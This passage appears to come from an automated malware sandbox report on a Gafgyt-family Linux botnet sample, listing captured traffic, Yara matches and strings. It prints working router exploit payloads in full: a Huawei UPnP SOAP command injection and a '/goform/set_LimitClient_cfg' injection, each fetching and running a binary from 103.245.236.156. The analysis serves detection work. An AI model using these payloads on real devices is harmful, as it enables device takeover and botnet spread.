55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.245.236.156 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 493Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.245.236.156 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 198.147.72.159
Source: unknown	TCP traffic detected without corresponding DNS query: 20.250.19.103
Source: unknown	TCP traffic detected without corresponding DNS query: 41.219.148.152
Source: unknown	TCP traffic detected without corresponding DNS query: 41.78.6.126
Source: unknown	TCP traffic detected without corresponding DNS query: 197.92.136.88
Source: unknown	TCP traffic detected without corresponding DNS query: 41.228.121.252
Source: unknown	TCP traffic detected without corresponding DNS query: 197.184.244.172
Source: unknown	TCP traffic detected without corresponding DNS query: 41.246.9.113
Source: unknown	TCP traffic detected without corresponding DNS query: 197.200.143.159
Source: unknown	TCP traffic detected without corresponding DNS query: 41.126.158.127
Source: unknown	TCP traffic detected without corresponding DNS query: 41.55.40.44
Source: unknown	TCP traffic detected without corresponding DNS query: 157.122.239.25
Source: unknown	TCP traffic detected without corresponding DNS query: 157.82.17.188
Source: unknown	TCP traffic detected without corresponding DNS query: 172.63.231.110
Source: unknown	TCP traffic detected without corresponding DNS query: 198.101.135.133
Source: unknown	TCP traffic detected without corresponding DNS query: 197.49.185.79
Source: unknown	TCP traffic detected without corresponding DNS query: 197.231.180.100
Source: unknown	TCP traffic detected without corresponding DNS query: 117.127.186.10
Source: unknown	TCP traffic detected without corresponding DNS query: 41.179.47.81
Source: unknown	TCP traffic detected without corresponding DNS query: 157.228.3.15
Source: unknown	TCP traffic detected without corresponding DNS query: 196.204.125.30
Source: unknown	TCP traffic detected without corresponding DNS query: 41.32.169.129
Source: unknown	TCP traffic detected without corresponding DNS query: 197.70.143.20
Source: unknown	TCP traffic detected without corresponding DNS query: 157.251.114.65
Source: unknown	TCP traffic detected without corresponding DNS query: 157.79.43.58
Source: unknown	TCP traffic detected without corresponding DNS query: 157.164.207.196
Source: unknown	TCP traffic detected without corresponding DNS query: 157.90.46.141
Source: unknown	TCP traffic detected without corresponding DNS query: 157.208.131.129
Source: unknown	TCP traffic detected without corresponding DNS query: 157.234.84.156
Source: unknown	TCP traffic detected without corresponding DNS query: 157.214.89.5
Source: unknown	TCP traffic detected without corresponding DNS query: 41.184.250.194
Source: unknown	TCP traffic detected without corresponding DNS query: 122.20.11.187
Source: unknown	TCP traffic detected without corresponding DNS query: 41.222.238.160
Source: unknown	TCP traffic detected without corresponding DNS query: 157.118.161.252
Source: unknown	TCP traffic detected without corresponding DNS query: 197.161.123.23
Source: unknown	TCP traffic detected without corresponding DNS query: 157.91.166.55
Source: unknown	TCP traffic detected without corresponding DNS query: 197.253.53.187
Source: unknown	TCP traffic detected without corresponding DNS query: 158.38.120.142
Source: unknown	TCP traffic detected without corresponding DNS query: 51.174.32.138
Source: unknown	TCP traffic detected without corresponding DNS query: 197.63.128.74
Source: unknown	TCP traffic detected without corresponding DNS query: 157.190.151.90
Source: unknown	TCP traffic detected without corresponding DNS query: 197.255.98.123
Source: unknown	TCP traffic detected without corresponding DNS query: 197.115.86.179
Source: unknown	TCP traffic detected without corresponding DNS query: 106.2.182.86
Source: unknown	TCP traffic detected without corresponding DNS query: 157.196.154.152
Source: unknown	TCP traffic detected without corresponding DNS query: 157.242.39.204
Source: unknown	TCP traffic detected without corresponding DNS query: 41.233.55.110
Source: unknown	TCP traffic detected without corresponding DNS query: 179.252.239.0
Source: unknown	TCP traffic detected without corresponding DNS query: 188.171.125.243
Source: unknown	TCP traffic detected without corresponding DNS query: 197.172.187.5

Source: unknown

DNS traffic detected: queries for: bngoc.skyljne.click

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 493Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.245.236.156 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundtransfer-encoding: chunkedContent-Type: application/jsonData Raw: 31 66 66 66 0d 0a 7b 22 6d 65 73 73 61 67 65 22 3a 22 48 54 54 50 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 22 2c 22 64 65 74 61 69 6c 73 22 3a 22 6a 61 76 61 78 2e 77 73 2e 72 73 2e 4e 6f 74 46 6f 75 6e 64 45 78 63 65 70 74 69 6f 6e 3a 20 48 54 54 50 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 5c 6e 5c 74 61 74 20 6f 72 67 2e 6a 62 6f 73 73 2e 72 65 73 74 65 61 73 79 2e 72 65 61 63 74 69 76 65 2e 73 65 72 76 65 72 2e 68 61 6e 64 6c 65 72 73 2e 52 65 73 74 49 6e 69 74 69 61 6c 48 61 6e 64 6c 65 72 2e 68 61 6e 64 6c 65 28 52 65 73 74 49 6e 69 74 69 61 6c 48 61 6e 64 6c 65 72 2e 6a 61 76 61 3a 37 31 29 5c 6e 5c 74 61 74 20 69 6f 2e 71 75 61 72 6b 75 73 2e 72 65 73 74 65 61 73 79 2e 72 65 61 63 74 69 76 65 2e 73 65 72 76 65 72 2e 72 75 6e 74 69 6d 65 2e 51 75 61 72 6b 75 73 52 65 73 74 65 61 73 79 52 65 61 63 74 69 76 65 52 65 71 75 65 73 74 43 6f 6e 74 65 78 74 2e 69 6e 76 6f 6b 65 48 61 6e 64 6c 65 72 28 51 75 61 72 6b 75 73 52 65 73 74 65 61 73 79 52 65 61 63 74 69 76 65 52 65 71 75 65 73 74 43 6f 6e 74 65 78 74 2e 6a 61 76 61 3a 39 34 29 5c 6e 5c 74 61 74 20 6f 72 67 2e 6a 62 6f 73 73 2e 72 65 73 74 65 61 73 79 2e 72 65 61 63 74 69 76 65 2e 63 6f 6d 6d 6f 6e 2e 63 6f 72 65 2e 41 62 73 74 72 61 63 74 52 65 73 74 65 61 73 79 52 65 61 63 74 69 76 65 43 6f 6e 74 65 78 74 2e 72 75 6e 28 41 62 73 74 72 61 63 74 52 65 73 74 65 61 73 79 52 65 61 63 74 69 76 65 43 6f 6e 74 65 78 74 2e 6a 61 76 61 3a 31 34 35 29 5c 6e 5c 74 61 74 20 6f 72 67 2e 6a 62 6f 73 73 2e 72 65 73 74 65 61 73 79 2e 72 65 61 63 74 69 76 65 2e 73 65 72 76 65 72 2e 68 61 6e 64 6c 65 72 73 2e 52 65 73 74 49 6e 69 74 69 61 6c 48 61 6e 64 6c 65 72 2e 62 65 67 69 6e 50 72 6f 63 65 73 73 69 6e 67 28 52 65 73 74 49 6e 69 74 69 61 6c 48 61 6e 64 6c 65 72 2e 6a 61 76 61 3a 34 38 29 5c 6e 5c 74 61 74 20 6f 72 67 2e 6a 62 6f 73 73 2e 72 65 73 74 65 61 73 79 2e 72 65 61 63 74 69 76 65 2e 73 65 72 76 65 72 2e 76 65 72 74 78 2e 52 65 73 74 65 61 73 79 52 65 61 63 74 69 76 65 56 65 72 74 78 48 61 6e 64 6c 65 72 2e 68 61 6e 64 6c 65 28 52 65 73 74 65 61 73 79 52 65 61 63 74 69 76 65 56 65 72 74 78 48 61 6e 64 6c 65 72 2e 6a 61 76 61 3a 32 33 29 5c 6e 5c 74 61 74 20 6f 72 67 2e 6a 62 6f 73 73 2e 72 65 73 74 65 61 73 79 2e 72 65 61 63 74 69 76 65 2e 73 65 72 76 65 72 2e 76 65 72 74 78 2e 52 65 73 74 65 61 73 79 52 65 61 63 74 69 76 65 56 65 72 74 78 48 61 6e 64 6c 65 72 2e 68 61 6e 64 6c 65 28 52 65 73 74 65 61 73 79 52 65 61 63 74 69 76 65 56 65 72 74 78 48 61 6e 64 6c 65 72 2e 6a 61 76 61 3a 31 30 29 5c 6e 5c 74 61 74 20 69 6f 2e 76 65 72 74 78 2e 65 78 74 2e 77 65 62 2e 69 6d 70 6c 2e 52 6f 75 74 65 53 74 61 74 65 2e 68 61 6e 64 6c 65 43 6f 6e 74 65 78 74 28 52 6f 75 74 65 53 74 61 74 65 2e 6a 61 76 61 3a 31 32 38 34 29 5c 6e 5c 74 61 74 20 69 6f 2e 76 65 72 74 78 2e 65 78 74 2e 77 65 62 2e 69 6d 70 6c 2e 52 6f 75 74 69 6e 67 43 6f 6e 74 65 78 74 49 6d 70 6c 42 61 73 65 2e 69 74 65 72 61 74 65 4e 65 78 74 28
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Access-Control-Allow-Origin: *Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 2f 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 2f 3e 3c 74 69 74 6c 65 3e 45 78 74 65 6e 64 65 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 71 75 65 72 79 2e 69 6e 6c 69 6e 65 65 64 69 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69 6f 6e 20 63 6f 6e 66 69 72 6d 5f 72 65 62 6f 6f 74 28 29 20 7b 69 6e 70 75 74 5f 62 6f 78 3d 63 6f 6e 66 69 72 6d 28 22 44 6f 20 79 6f 75 20 72 65 61 6c 6c 79 20 77 61 6e 74 20 74 6f 20 72 65 62 6f 6f 74 3f 22 29 3b 69 66 20 28 69 6e 70 75 74 5f 62 6f 78 3d 3d 74 72 75 65 29 20 7b 77 69 6e 64 6f 77 2e 6f 70 65 6e 20 28 27 72 65 62 6f 6f 74 2e 68 74 6d 6c 27 2c 27 5f 73 65 6c 66 27 2c 66 61 6c 73 65 29 7d 7d 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69 6f 6e 20 61 73 6b 5f 66 6f 72 5f 63 6f 6e 66 69 72 6d 28 6d 73 67 2c 20 64 65 73 74 50 61 67 65 29 20 7b 69 6e 70 75 74 5f 62 6f 78 3d 63 6f 6e 66 69 72 6d 28 6d 73 67 29 3b 69 66 20 28 69 6e 70 75 74 5f 62 6f 78 3d 3d 74 72 75 65 29 20 7b 77 69 6e 64 6f 77 2e 6f 70 65 6e 20 28 64 65 73 74 50 61 67 65 2c 27 5f 73 65 6c 66 27 2c 66 61 6c 73 65 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 61 73 6b 5f 66 6f 72 5f 63 6f 6e 66 69 72 6d 5f 70 6f 70 75 70 28 6d 73 67 2c 20 64 65 73 74 50 61 67 65 2c 20 64 6f 52 65 66 72 65 73 68 2c 20 63 61 6c 6c 62 61 63 6b 29 20 7b 69 6e 70 75 74 5f 62 6f 78 3d 63 6f 6e 66 69 72 6d 28 6d 73 67 29 3b 69 66 20 28 69 6e 70 75 74 5f 62 6f 78 3d 3d 74 72 75 65 29 20 7b 70 6f 73 74 5f 70 61 67 65 28 64 65 73 74 50 61 67 65 2c 20 64 6f 52 65 66 72 65 73 68 2c 20 63 61 6c 6c 62 61 63 6b 29 3b 7d 7d 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69 6f 6e 20 70 6f 73 74 5f 70 61 67 65 28 75 72 6c 2c 20 64 6f 52 65 66 72 65 73 68 2c 20 63 61 6c 6c 62 61 63 6b 29 20 7b 09 24 2e 70 6f 73 74 28 75 72 6c 2c 20 66 75 6e 63 74 69 6f 6e 28 64 61 74 61 29 20 7b 09 09 69 66 20 28 64 61 74 61 20 26 26 20 64 61 74 61 2e 6c 65 6e 67 74 68 20 3e 20 30 29 20 7b 09 09 09 69 66 20 28 64 61 74 61 2e 69 6e 64 65 78 4
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveDevice-Jid: 7051.1860673.29049697@products.bang-olufsen.comContent-Length: 61Content-Type:Data Raw: Data Ascii:

Source: V1J7GFIwfY.elf	String found in binary or memory: http://103.245.236.156/huhu.mpsl;
Source: V1J7GFIwfY.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: V1J7GFIwfY.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: V1J7GFIwfY.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6219.1.00007fb610001000.00007fb610020000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: V1J7GFIwfY.elf PID: 6219, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.245.236.156 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: /bin/busybox/
Source: Initial sample	String containing 'busybox' found: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OKskyljneegay.armskyljneegay.arm5skyljneegay.arm6skyljneegay.arm7skyljneegay.mipsskyljneegay.mpslskyljneegay.x86_64skyljneegay.sh4<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.245.236.156 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: Content-Length: /proc//proc/%s/exe/proc/self/exe/var/Challenge//app/hi3511/gmDVRibox/usr/dvr_main _8182T_1108/mnt/mtd/app/gui/var/Kylin/l0 c/udevd/anko-app/ankosample _8182T_1104/var/tmp/sonia/hicorestm_hi3511_dvr/bin/busybox//usr/lib/systemd/systemd//usr/libexec/openssh/sftp-server/usr/shellmnt/sys//bin/boot/media/srv/var/run/sbin/lib/etc/dev/home/Davinci/telnetsshwatchdog/var/spool//var/Sofia/sshd/usr/compress/bin//compress/bin/compress/usr/bashtelnetddropbearropbearencodercundi/var/cundi//var/Condi/system/root/dvr_gui//root/dvr_app//var/tmp//anko-app//data/local/tmp//lib/systemd//usr/lib/systemd/system/system/bin//gm/bin//mnt//home/process//home/helper/home/davinci/z/bin//mnt/mtd//tmp/sqfs//usr/libexec//usr/sbin//z/zbin//usr/bin/usr/lib/openssh/sftp-server//opt/POST /goform/set_LimitClient_cfg HTTP/1.1
Source: Initial sample	String containing 'busybox' found: /proc/proc/%d/cmdlinerwgetcurlbusybox/bin/busyboxechocatnanotfpt

